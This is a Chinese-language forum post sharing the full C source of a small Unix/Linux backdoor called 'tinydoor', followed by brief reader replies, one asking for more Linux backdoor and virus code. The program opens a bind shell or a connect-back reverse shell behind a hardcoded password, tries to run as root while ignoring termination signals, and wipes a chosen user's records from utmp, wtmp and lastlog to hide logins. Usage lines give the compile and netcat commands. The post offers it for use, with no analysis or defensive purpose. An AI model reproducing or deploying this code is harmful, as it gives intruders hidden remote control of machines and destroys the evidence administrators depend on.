Liunx backdoor 源代码

admin

1. /*
   
2. * A tiny Unix/Linux backdoor V. 0.3
   
3. 
   
4. * written by W.Z.T welcome to [url]http://www.ncph.net[/url]
   
5. 
   
6. * gcc -o tinydoor tinydoor.c
   
7. 
   
8. * usage:
   
9. 
   
10. * conncet to server:./tinydoor 2006
    
11. nc -vv 127.0.0.1 2006
    
12. 
    
13. * conncet back to server:nc -vv -l -p 2006
    
14. ./tinydoor 127.0.0.1 2006
    
15. 
    
16. * clearn logs:./tinydoor -c root(username)
    
17. 
    
18. * default password is:tthacker,you can change it by yourself
    
19. 
    
20. */
    
21. 
    
22. #include <stdio.h>
    
23. #include <string.h>
    
24. #include <stdlib.h>
    
25. #include <sys/types.h>
    
26. #include <sys/wait.h>
    
27. #include <errno.h>
    
28. #include <dirent.h>
    
29. #include <signal.h>
    
30. #include <netinet/in.h>
    
31. #include <netdb.h>
    
32. #include <unistd.h>
    
33. #include <string.h>
    
34. #include <fcntl.h>
    
35. #include <utmp.h>
    
36. #include <lastlog.h>
    
37. #include <pwd.h>
    
38. #include <sys/socket.h>
    
39. 
    
40. #define WTMP_NAME "/var/log/wtmp"
    
41. #define UTMP_NAME "/var/run/utmp"
    
42. #define LASTLOG_NAME "/var/log/lastlog"
    
43. 
    
44. #define MAXARGS 30
    
45. #define ARGLEN 200
    
46. #define USAGES1 "\nconnected successful.it's a tiny binshell.Good Luck:)\n\n"
    
47. #define USAGES2 "Type \"rshell\" or \"cshell\" or \"myshell\":\n"
    
48. #define RSHELL "\nit's a rootshell\n\n"
    
49. #define CSHELL "\nuse common shell:\n\n"
    
50. #define MYSHELL "\nuse myshell now:\n\n"
    
51. #define ERRORS "\nDo you want to get my shell? FUCK------->"
    
52. #define PASS "tthacker" /* default password */
    
53. #define LOGIN "login:"
    
54. 
    
55. void shell(int sock_id);
    
56. void myshell(void);
    
57. void do_ls(char []);
    
58. void backdoor(char *hosts,char *port); /* connect back to server */
    
59. void bindoor(char *port); /* connect to server */
    
60. void cannot_stop_me(void);
    
61. void clearn_utmp(char *who);
    
62. void clearn_wtmp(char *who);
    
63. void clearn_lastlog(char *who);
    
64. 
    
65. char command[ARGLEN];
    
66. char error1[MAXARGS];
    
67. char type1[MAXARGS];
    
68. char type2[MAXARGS];
    
69. char check[ARGLEN];
    
70. 
    
71. int fp;
    
72. 
    
73. int main(int argc,char *argv[])
    
74. {
    
75. if(argc==3&&!strcmp(argv[1],"-c")){
    
76. clearn_utmp(argv[2]);
    
77. clearn_wtmp(argv[2]);
    
78. clearn_lastlog(argv[2]);
    
79. }
    
80. else{
    
81. backdoor(argv[1],argv[2]);
    
82. }
    
83. if(argc==2){
    
84. bindoor(argv[1]);
    
85. }
    
86. 
    
87. return 0;
    
88. }
    
89. 
    
90. void backdoor(char *hosts,char *port)
    
91. {
    
92. struct sockaddr_in serv_addr;
    
93. struct hostent *host;
    
94. int sock_fd;
    
95. 
    
96. cannot_stop_me();
    
97. 
    
98. if((host=gethostbyname(hosts))==NULL){
    
99. herror("gethostbyname");
    
100. exit(1);
     
101. }
     
102. 
     
103. if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
     
104. perror("socket");
     
105. exit(1);
     
106. }
     
107. 
     
108. serv_addr.sin_family=AF_INET;
     
109. serv_addr.sin_port=htons(atoi(port));
     
110. serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
     
111. 
     
112. bzero(&(serv_addr.sin_zero),8);
     
113. 
     
114. strcpy(error1,inet_ntoa(INADDR_ANY));
     
115. error1[strlen(error1)]='\0';
     
116. 
     
117. if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
     
118. perror("conncet");
     
119. exit(1);
     
120. }
     
121. shell(sock_fd);
     
122. }
     
123. 
     
124. void bindoor(char *port)
     
125. {
     
126. int val=1;
     
127. int sock_fd,client_fd;
     
128. struct sockaddr_in my_addr;
     
129. struct sockaddr_in remote_addr;
     
130. int sin_size;
     
131. 
     
132. cannot_stop_me();
     
133. 
     
134. if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
     
135. perror("socket");
     
136. exit(1);
     
137. }
     
138. 
     
139. if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))<0){
     
140. perror("setsockopt");
     
141. }
     
142. 
     
143. my_addr.sin_family=AF_INET;
     
144. my_addr.sin_port=htons(atoi(port));
     
145. my_addr.sin_addr.s_addr=INADDR_ANY;
     
146. 
     
147. bzero(&(my_addr.sin_zero),8);
     
148. 
     
149. if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
     
150. perror("bind");
     
151. exit(1);
     
152. }
     
153. 
     
154. if(fork()!=0)
     
155. exit(0);
     
156. 
     
157. setpgrp();
     
158. 
     
159. if(fork()!=0)
     
160. exit(0);
     
161. 
     
162. if(listen(sock_fd,MAXARGS)==-1){
     
163. perror("listen");
     
164. exit(1);
     
165. }
     
166. 
     
167. strcpy(error1,inet_ntoa(remote_addr));
     
168. error1[strlen(error1)]='\0';
     
169. 
     
170. while(1){
     
171. sin_size=sizeof(struct sockaddr_in);
     
172. if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
     
173. perror("accept");
     
174. exit(1);
     
175. }
     
176. shell(client_fd);
     
177. }
     
178. }
     
179. 
     
180. void shell(int sock_id)
     
181. {
     
182. write(sock_id,LOGIN,sizeof(LOGIN));
     
183. read(sock_id,check,sizeof(check));
     
184. 
     
185. if(strstr(check,PASS)!=NULL){
     
186. if(!fork()){
     
187. dup2(sock_id,0);
     
188. dup2(sock_id,1);
     
189. dup2(sock_id,2);
     
190. write(1,USAGES1,strlen(USAGES1));
     
191. shell:
     
192. write(1,USAGES2,strlen(USAGES2));
     
193. read(0,type1,ARGLEN);
     
194. if(strstr(type1,"rshell")!=NULL){
     
195. write(1,RSHELL,sizeof(RSHELL));
     
196. execl("/bin/sh","sh",(char *)0);
     
197. goto shell;
     
198. }
     
199. else if(strstr(type1,"cshell")!=NULL){
     
200. write(1,CSHELL,sizeof(CSHELL));
     
201. read(0,type2,ARGLEN);
     
202. type2[strlen(type2-1)]='\0';
     
203. write(1,type2,sizeof(type2));
     
204. do_ls(type2);
     
205. }
     
206. else if(strstr(type1,"myshell")!=NULL){
     
207. write(1,MYSHELL,sizeof(MYSHELL));
     
208. myshell();
     
209. }
     
210. else if(strstr(type1,"exit")!=NULL){
     
211. close(sock_id);
     
212. exit(1);
     
213. }
     
214. else{
     
215. goto shell;
     
216. }
     
217. close(sock_id);
     
218. exit(0);
     
219. }
     
220. }
     
221. else{
     
222. write(sock_id,ERRORS,strlen(ERRORS));
     
223. write(sock_id,error1,strlen(error1));
     
224. close(sock_id);
     
225. }
     
226. close(sock_id);
     
227. }
     
228. 
     
229. void do_ls( char dirname[] )
     
230. {
     
231. DIR *dir_ptr;
     
232. struct dirent *direntp;
     
233. 
     
234. if ( ( dir_ptr = opendir( dirname ) ) == NULL )
     
235. fprintf(stderr,"ls1: cannot open %s\n", dirname);
     
236. else
     
237. {
     
238. while ( ( direntp = readdir( dir_ptr ) ) != NULL )
     
239. printf("%s\n", direntp->d_name );
     
240. closedir(dir_ptr);
     
241. }
     
242. }
     
243. 
     
244. void myshell(void)
     
245. {
     
246. char *arglist[MAXARGS+1];
     
247. int numargs;
     
248. char argbuf[ARGLEN];
     
249. char *makestring();
     
250. 
     
251. numargs = 0;
     
252. while ( numargs < MAXARGS )
     
253. {
     
254. write(1,"command:",strlen("command:"));
     
255. if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' ){
     
256. if(strstr(argbuf,"exit")!=NULL){
     
257. exit(0);
     
258. }
     
259. arglist[numargs++] = makestring(argbuf);
     
260. }
     
261. else
     
262. {
     
263. if ( numargs > 0 ){
     
264. arglist[numargs]=NULL;
     
265. execute( arglist );
     
266. numargs = 0;
     
267. }
     
268. }
     
269. }
     
270. }
     
271. 
     
272. execute( char *arglist[] )
     
273. {
     
274. int pid,exitstatus;
     
275. 
     
276. pid = fork();
     
277. switch( pid ){
     
278. case -1:
     
279. perror("fork failed");
     
280. exit(1);
     
281. case 0:
     
282. execvp(arglist[0], arglist);
     
283. perror("execvp failed");
     
284. exit(1);
     
285. default:
     
286. while( wait(&exitstatus) != pid )
     
287. ;
     
288. printf("child exited with status %d,%d\n",
     
289. exitstatus>>8, exitstatus&0377);
     
290. }
     
291. }
     
292. 
     
293. char * makestring( char *buf )
     
294. {
     
295. char *cp, *malloc();
     
296. 
     
297. buf[strlen(buf)-1] = '\0';
     
298. cp = malloc( strlen(buf)+1 );
     
299. if ( cp == NULL ){
     
300. fprintf(stderr,"no memory\n");
     
301. exit(1);
     
302. }
     
303. strcpy(cp, buf);
     
304. return cp;
     
305. }
     
306. 
     
307. void cannot_stop_me(void)
     
308. {
     
309. setuid(0);
     
310. setgid(0);
     
311. seteuid(0);
     
312. setegid(0);
     
313. 
     
314. signal(SIGCHLD,SIG_IGN);
     
315. signal(SIGHUP,SIG_IGN);
     
316. signal(SIGTERM,SIG_IGN);
     
317. signal(SIGINT,SIG_IGN);
     
318. signal(SIGKILL,SIG_IGN);
     
319. if(fork())
     
320. exit(0);
     
321. }
     
322. 
     
323. void clearn_utmp(char *who)
     
324. {
     
325. struct utmp ent;
     
326. 
     
327. if((fp=open(UTMP_NAME,O_RDWR))<0){
     
328. perror("open");
     
329. }
     
330. while(read(fp,&ent,sizeof(ent))>0){
     
331. if(!strncmp(ent.ut_user,who,sizeof(ent))){
     
332. bzero((char *)&ent,sizeof(ent));
     
333. lseek(fp,-(sizeof(ent)),SEEK_CUR);
     
334. write(fp,&ent,sizeof(ent));
     
335. }
     
336. }
     
337. printf("clearn %s done.\n",UTMP_NAME);
     
338. }
     
339. 
     
340. void clearn_lastlog(char *who)
     
341. {
     
342. struct passwd *pwd;
     
343. struct lastlog new;
     
344. 
     
345. if((pwd=getpwnam(who))==NULL){
     
346. printf("No such user.\n");
     
347. exit(0);
     
348. }
     
349. 
     
350. if((fp=open(LASTLOG_NAME,O_RDWR))<0){
     
351. printf("clearn %s failed\n",LASTLOG_NAME);
     
352. }
     
353. bzero((char *)&new,sizeof(new));
     
354. lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
     
355. write(fp,&new,sizeof(new));
     
356. printf("clearn %s done.\n",LASTLOG_NAME);
     
357. close(fp);
     
358. }
     
359. 
     
360. void clearn_wtmp(char *who)
     
361. {
     
362. struct utmp ent;
     
363. 
     
364. if((fp=open(WTMP_NAME,O_RDWR))<0){
     
365. printf("Can't open the file %s \n",WTMP_NAME);
     
366. }
     
367. while(read(fp,&ent,sizeof(ent))>0){
     
368. if(!strncmp(ent.ut_user,who,sizeof(ent))){
     
369. bzero((char *)&ent,sizeof(ent));
     
370. lseek(fp,-(sizeof(ent)),SEEK_CUR);
     
371. write(fp,&ent,sizeof(ent));
     
372. }
     
373. }
     
374. printf("claern %s done.\n",WTMP_NAME);
     
375. close(fp);
     
376. }

复制代码

tasirose

钦锋

顶

Syue锁锁

看不懂啊~

fenye0428-

看不懂啊

瞬间

阿剑

哎  拿个分算了

jibaxaut

我对Linux下的病毒后门非常非常的感兴趣，希望楼主继续放一些这方面的东西！！！